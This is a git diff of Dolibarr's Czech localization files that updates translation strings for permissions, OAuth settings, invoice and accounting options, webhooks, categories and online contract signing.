Permission286=Export kontaktů Permission291=Přečtěte tarify Permission292=Nastavení oprávnění na sazby Permission293=Upravte zákaznické tarify -Permission300=Čtěte čárové kódy -Permission301=Vytvářejte/upravujte čárové kódy -Permission302=Odstraňte čárové kódy +Permission301=Generate PDF sheets of barcodes +Permission304=Vytvářejte/upravujte čárové kódy +Permission305=Odstraňte čárové kódy Permission311=Přečtěte služby Permission312=Přiřadit službu/předplatné ke smlouvě Permission331=Přečtěte si záložky @@ -940,7 +950,7 @@ Permission1190=Schvalujte nákupní objednávky (druhé schválení) Permission1191=Export supplier orders and their attributes Permission1201=Získejte výsledek exportu Permission1202=Vytvořit/upravit export -Permission1231=Přečtěte si faktury dodavatele +Permission1231=Read vendor invoices (and payments) Permission1232=Vytvářejte/upravujte faktury dodavatele Permission1233=Ověřte faktury dodavatele Permission1234=Odstranit faktury dodavatele @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Přečtěte si obsah webových stránek Permission10002=Vytvářejte/upravujte obsah webových stránek (html a javascript) Permission10003=Vytvářejte / upravujte obsah webových stránek (dynamický php kód). Nebezpečné, musí být vyhrazeno omezeným vývojářům. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Nastavení uloženo SetupNotSaved=Nastavení nebylo uloženo +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Zpět na seznam modulů BackToDictionaryList=Zpět na seznam slovníků TypeOfRevenueStamp=Typ daňové známky @@ -1222,7 +1237,7 @@ SetupDescription4=  %s -> %s

      Tento software je sada SetupDescription5=Ostatní položky nabídky nastavení řídí volitelné parametry. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Parametry nastavení mohou být nastaveny pouze uživateli a SystemInfoDesc=Systémové informace jsou různé technické informace, které získáte pouze v režimu pro čtení a viditelné pouze pro správce. SystemAreaForAdminOnly=Tato oblast je k dispozici pouze uživatelům správce. Oprávnění uživatele Dolibarr nemůže toto omezení změnit. CompanyFundationDesc=Upravte informace o své společnosti / organizaci. Po dokončení klikněte na tlačítko „%s“ v dolní části stránky. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=Pokud máte externího účetního / účetního, můžete zde upravit jeho informace. AccountantFileNumber=Účetní kód DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Spouštěče v tomto souboru jsou aktivní, protože GeneratedPasswordDesc=Zvolte metodu, která má být použita pro automatické generování hesel. DictionaryDesc=Vložit všechny referenční data. Můžete přidat své hodnoty na výchozí hodnoty. ConstDesc=Tato stránka umožňuje upravit (přepsat) parametry, které nejsou dostupné na jiných stránkách. Většinou jsou to vyhrazené parametry pouze pro vývojáře / pokročilé odstraňování problémů. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Všechny ostatní parametry spojené s bezpečností definujete zde. LimitsSetup=Limity / Přesné nastavení LimitsDesc=Zde můžete definovat limity, přesnosti a optimalizace, které Dolibarr používá @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Tento příkaz musíte spustit YourPHPDoesNotHaveSSLSupport=SSL funkce není k dispozici ve vašem PHP DownloadMoreSkins=Další skiny ke stažení SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Získat čárový kód NumberingModules=Modely číslování DocumentModules=Modely dokumentů ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Nevybírejte generované heslo. Heslo musí být zadáno ručně. PasswordGenerationPerso=Vrátit hesla dle Vašeho osobně definované konfiguraci. SetupPerso=Podle konfigurace @@ -1434,6 +1453,10 @@ SuppliersPayment=Platby dodavatele SupplierPaymentSetup=Nastavení plateb dodavatelů InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Nastavení modulu komerčních návrhů ProposalsNumberingModules=Modely číslování komerčních nabídek @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vodoznak v návrhu smlouvy (žádný, je-li prázd ##### Members ##### MembersSetup=Nastavení modulu členů MemberMainOptions=Hlavní volby +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Správa Přihlášení pro každého člena AdherentMailRequired=K vytvoření nového člena je třeba e-mail MemberSendInformationByMailByDefault=Zaškrtávací políčko poslat mailem potvrzení členům (validace nebo nové předplatné) je ve výchozím nastavení MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Návštěvník si může vybrat z dostupných způsobů platby +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Povolit automatické připomenutí e-mailem vypršel odběr. Poznámka: Modul %s musí být povolen a správně nastaven pro odeslání připomenutí. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktivujte pokročilý editor pro: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG tvorba/vydání pro hromadné eMailings (Nástroje-> eMailing) FCKeditorForUserSignature=WYSIWIG vytvoření / edice uživatelského podpisu FCKeditorForMail=Vytvoření WYSIWIG / edition pro veškerou poštu (s výjimkou Nástroje-> e-mailem) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Ovládání nabídek, kde se má zobrazit nové menu DetailMenuModule=Název modulu, pokud položky nabídky pocházejí z modulu DetailType=Druh nabídky (horní nebo levý) DetailTitre=Menu štítek nebo etiketa kód pro překlad -DetailUrl=URL, kde Nabídka poslat (absolutní URL odkaz nebo externí odkaz s http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Podmínka pro zobrazení nebo ne DetailRight=Podmínka pro zobrazení neoprávněným šedé menu DetailLangs=Lang název souboru pro překlad kódu štítek @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Používejte typy událostí (spravované v menu Nastaven AGENDA_USE_EVENT_TYPE_DEFAULT=Automaticky nastavte tuto výchozí hodnotu pro typ události ve formuláři pro tvorbu událostí AGENDA_DEFAULT_FILTER_TYPE=Automaticky nastavte tento typ události ve filtru vyhledávání v agendě AGENDA_DEFAULT_FILTER_STATUS=Automaticky nastavte tento stav událostí ve filtru vyhledávání v agendě +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Povolit zvukové upozornění @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Snižování zásob v POS není kompa CashDeskYouDidNotDisableStockDecease=Při prodeji z prodejního místa jste nezakázali pokles zásob. Proto je nutný sklad. CashDeskForceDecreaseStockLabel=Snížení zásob u dávkových produktů bylo vynuceno. CashDeskForceDecreaseStockDesc=Nejprve se sníží o nejstarší data o jídle a prodeji. -CashDeskReaderKeyCodeForEnter=Klíčový kód pro „Enter“ definovaný ve čtečce čárových kódů (Příklad: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Záložka Nastavení modulu BookmarkDesc=Tento modul umožňuje spravovat záložky. Můžete také přidat odkazy na libovolné stránky Dolibarr nebo externí webové stránky v levém menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Číslovací modely faktur dodavatelů IfSetToYesDontForgetPermission=Pokud je nastavena na nenulovou hodnotu, nezapomeňte poskytnout oprávnění skupinám nebo uživatelům povoleným pro druhé schválení ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Nastavení modulu GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Cesta k souboru obsahujícímu Maxmind ip k překladu do země.
      Příklady:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Všimněte si, že Vaše IP do souboru záznamu země musí být uvnitř adresáře si můžete přečíst PHP (PHP open_basedir Zkontrolujte nastavení a oprávnění souborového systému). YouCanDownloadFreeDatFileTo=Zde si můžete stáhnout zdarma demo verzi země GeoIP Maxmind soubor na %s. YouCanDownloadAdvancedDatFileTo=Můžete si také stáhnout úplnější verzi s aktualizací, ze země GeoIP Maxmind soubor na %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Průvodce vytvořením souboru výpisu databáze BackupZipWizard=Průvodce vytvořením adresáře archivů dokumentů SomethingMakeInstallFromWebNotPossible=Instalace externího modulu není možné z webového rozhraní z tohoto důvodu: SomethingMakeInstallFromWebNotPossible2=Z tohoto důvodu je zde popsaný proces upgradu ruční proces, který může provádět pouze privilegovaný uživatel. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Instalace externího modulu z aplikace byla deaktivována správcem. Musíte požádat jej, aby odstranil soubor %s , aby tuto funkci povolil. ConfFileMustContainCustom=Instalace nebo sestavení externího modulu z aplikace vyžaduje uložení souborů modulu do adresáře %s . Chcete-li, aby tento adresář zpracoval Dolibarr, musíte nastavit conf / conf.php a přidat 2 směrné řádky:
      $ dolibarr_main_url_root'alt '/';
      $ dolibarr_main_document_root_alt = '%s / custom'; HighlightLinesOnMouseHover=Zvýrazněte řádky tabulky, když pohyb myší projde @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Odstraňte speciální znaky COMPANY_AQUARIUM_CLEAN_REGEX=Filtr Regex pro vyčištění hodnoty (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Filtr Regex pro vyčištění hodnoty (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplikát není povolen +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Úředník pro ochranu údajů (DPO, ochrana dat nebo kontakt GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Text nápovědy se zobrazí na popisku @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Adresář cílové schránky EmailcollectorOperations=Operace prováděné sběratelem EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Maximální počet e-mailů shromážděných za sběr +TestCollectNow=Test collect CollectNow=Sbírat nyní ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Výstup posledního kódu NbOfEmailsInInbox=Počet e-mailů ve zdrojovém adresáři LoadThirdPartyFromName=Načíst vyhledávání subjektem na adrese %s (pouze načíst) LoadThirdPartyFromNameOrCreate=Načíst vyhledávání subjektů na adrese %s (vytvořit, pokud nebyly nalezeny) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Pokud chcete mít ve svém PDF duplikované texty ve 2 různých jazycích ve stejném generovaném PDF, musíte zde nastavit tento druhý jazyk, takže vygenerovaný PDF bude obsahovat 2 různé jazyky na stejné stránce, jeden vybraný při generování PDF a tento ( Podporuje to jen několik šablon PDF). Uchovávejte prázdné po dobu 1 jazyka na PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Sem zadejte kód ikony FontAwesome. Pokud nevíte, co je FontAwesome, můžete použít obecnou hodnotu fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Doporučené NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Nastavení zásob ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Nastavení WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/cs_CZ/categories.lang b/htdocs/langs/cs_CZ/categories.lang index 3d18f628f50..35210a5b2ce 100644 --- a/htdocs/langs/cs_CZ/categories.lang +++ b/htdocs/langs/cs_CZ/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Tento uživatel není v žádném tagu/kategoriích ContactHasNoCategory=Tento kontakt není v žádném tagu/kategorii ProjectHasNoCategory=Tento projekt není v žádném tagu/kategorii ClassifyInCategory=Přidat do tagu/kategorie +RemoveCategory=Remove category NotCategorized=Bez tagu/kategorie CategoryExistsAtSameLevel=Tato kategorie již existuje s tímto čj ContentsVisibleByAllShort=Obsah viditelný všemi @@ -67,6 +68,7 @@ StockCategoriesShort=Značky/kategorie skladů ThisCategoryHasNoItems=Tato kategorie neobsahuje žádné položky. CategId=ID tagu/kategorie ParentCategory=Parent tag/category +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label of parent tag/category CatSupList=List of vendors tags/categories CatCusList=List of customers/prospects tags/categories @@ -86,15 +88,18 @@ DeleteFromCat=Odebrat z tagů/kategorií ExtraFieldsCategories=Doplňkové atributy CategoriesSetup=Nastavení tagů/kategorií CategorieRecursiv=Odkaz na nadřazený tag/kategorii automaticky -CategorieRecursivHelp=Pokud je volba zapnuta, při přidání produktu do podkategorie bude produkt také přidán do nadřazené kategorie. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Přidejte následující produkt/službu AddCustomerIntoCategory=Assign category to customer AddSupplierIntoCategory=Assign category to supplier +AssignCategoryTo=Assign category to ShowCategory=Zobrazit tag/kategorii ByDefaultInList=Ve výchozím nastavení je v seznamu ChooseCategory=Vyberte kategorii StocksCategoriesArea=Warehouse Categories +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Event Categories WebsitePagesCategoriesArea=Page-Container Categories KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Use 'OR' operator for categories +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/cs_CZ/commercial.lang b/htdocs/langs/cs_CZ/commercial.lang index 6224ac01080..dc52389e96c 100644 --- a/htdocs/langs/cs_CZ/commercial.lang +++ b/htdocs/langs/cs_CZ/commercial.lang @@ -64,17 +64,26 @@ ActionAC_SHIP=Poslat přepravu na mail ActionAC_SUP_ORD=Pošlete objednávku e-mailem ActionAC_SUP_INV=Poslat dodavatelské faktury e-mailem ActionAC_OTH=Ostatní -ActionAC_OTH_AUTO=Automaticky vložené události +ActionAC_OTH_AUTO=Other auto ActionAC_MANUAL=Ručně vložené události ActionAC_AUTO=Automaticky vložené události -ActionAC_OTH_AUTOShort=Auto +ActionAC_OTH_AUTOShort=Jiný +ActionAC_EVENTORGANIZATION=Event organization events Stats=Prodejní statistiky StatusProsp=Stav cíle DraftPropals=Navrhnout obchodní návrhy NoLimit=No limit ToOfferALinkForOnlineSignature=Odkaz pro podpis online -WelcomeOnOnlineSignaturePage=Vítejte na stránce, abyste přijali komerční návrhy z %s -ThisScreenAllowsYouToSignDocFrom=Tato obrazovka umožňuje přijímat a podepsat nebo odmítnout nabídku/komerční návrh -ThisIsInformationOnDocumentToSign=Toto jsou informace o přijetí nebo odmítnutí dokumentu +WelcomeOnOnlineSignaturePageProposal=Vítejte na stránce, abyste přijali komerční návrhy z %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Tato obrazovka umožňuje přijímat a podepsat nebo odmítnout nabídku/komerční návrh +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Toto jsou informace o přijetí nebo odmítnutí dokumentu +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Podpis nabídky/obchodní nabídky %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Funkce pro podepisování online zakázána nebo dokument byl vygenerovaný dříve, než byla funkce povolena diff --git a/htdocs/langs/cs_CZ/compta.lang b/htdocs/langs/cs_CZ/compta.lang index fc62ddb9e11..686529617e0 100644 --- a/htdocs/langs/cs_CZ/compta.lang +++ b/htdocs/langs/cs_CZ/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Zůstatek (před) Balance=Zůstatek Debit=Debet Credit=Kredit +AccountingDebit=Debet +AccountingCredit=Kredit Piece=Účetnictví Doc. AmountHTVATRealReceived=Čistá částka AmountHTVATRealPaid=Čistá platba @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Odstranit sociální a fiskální platbu daně DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Sociální a fiskální daně a platby CalcModeVATDebt=Režim %sDPH zápočtu na závazky%s. CalcModeVATEngagement=Režim %sDPH z rozšířených příjmů%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Zpráva o tržbách shromá TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Zpráva o tržbách zachycená podle sazby daně z prodeje není k dispozici. Tento přehled je k dispozici pouze pro fakturovaný obrat. CalculationMode=Výpočetní režim AccountancyJournal=Deník účetnických kódů -ACCOUNTING_VAT_SOLD_ACCOUNT=Účtovací účet ve výchozím nastavení pro DPH z prodeje (používá se, pokud není definováno v nastavení slovníku DPH) -ACCOUNTING_VAT_BUY_ACCOUNT=Účtovací účet ve výchozím nastavení pro DPH při nákupu (použitý, pokud není definován v nastavení slovníku DPH) -ACCOUNTING_VAT_PAY_ACCOUNT=Účtovací účet pro platby DPH -ACCOUNTING_ACCOUNT_CUSTOMER=Účtovací účet používaný pro subjekty odběratele +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Účelový účet určený na kartě subjektu bude použit pouze pro účetnictví společnosti Subledger. Ten bude použit pro účet hlavní knihy a jako výchozí hodnotu účtování společnosti Subledger, pokud není definován účet odběratelského účetnictví subjektu. -ACCOUNTING_ACCOUNT_SUPPLIER=Účet účetnictví používaný pro subjekty dodavatele +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Účelový účet určený na kartě subjektu bude použit pouze pro účetnictví společnosti Subledger. Tato položka bude použita pro hlavní účetní knihu a jako výchozí hodnotu účetnictví společnosti Subledger, pokud není definován účet externího účetního dodavatele subjektu. ConfirmCloneTax=Potvrďte klon sociální / daňové daně ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Fakturovaný obrat z nákupu ReportPurchaseTurnoverCollected=Shromážděný obrat z nákupu IncludeVarpaysInResults = Zahrnout různé platby do přehledů IncludeLoansInResults = Zahrnout půjčky do zpráv -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/cs_CZ/contracts.lang b/htdocs/langs/cs_CZ/contracts.lang index f638696bf6d..969de445492 100644 --- a/htdocs/langs/cs_CZ/contracts.lang +++ b/htdocs/langs/cs_CZ/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Smlouvy/Objednávky ContractsAndLine=Smlouvy a řádky smluv Contract=Smlouva ContractLine=řádek smlouvy +ContractLines=Contract lines Closing=Uzavření NoContracts=Žádné smlouvy MenuServices=Služby @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Jste si jisti, že chcete smazat tuto řádku smlouvy? MoveToAnotherContract=Přesuňte službu do jiné smlouvy. ConfirmMoveToAnotherContract=Vybral jste novou cílovou smlouvu, a potvrzujete vlastní krví, že chcete přesunout tuto službu do tohoto smluvního vztahu. ConfirmMoveToAnotherContractQuestion=Vybral jste ze stávajících smluv (z téhož 